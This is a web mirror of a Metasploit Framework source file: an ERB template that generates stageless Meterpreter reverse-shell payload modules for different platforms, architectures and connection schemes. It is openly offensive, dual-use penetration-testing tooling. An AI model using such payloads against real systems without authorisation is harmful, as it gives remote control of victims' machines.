CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/tools/modules/meterpreter_reverse.erb
Views: 11768
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule

  include Msf::Payload::Single
  include Msf::Sessions::MeterpreterOptions
  include Msf::Sessions::MettleConfig

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
        'Author'        => [
          'Adam Cammack <adam_cammack[at]rapid7.com>',
          'Brent Cook <brent_cook[at]rapid7.com>',
          'timwr'
        ],
        'Platform'      => '<%= platform.downcase %>',
        'Arch'          => ARCH_<%= arch.upcase %>,
        'License'       => MSF_LICENSE,
        'Handler'       => Msf::Handler::Reverse<%= scheme.capitalize %>,
        'Session'       => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
      )
    )
  end

  def generate
    opts = {
      scheme: '<%= scheme %>',
      stageless: true
    }.merge(mettle_logging_config)
    MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
  end
end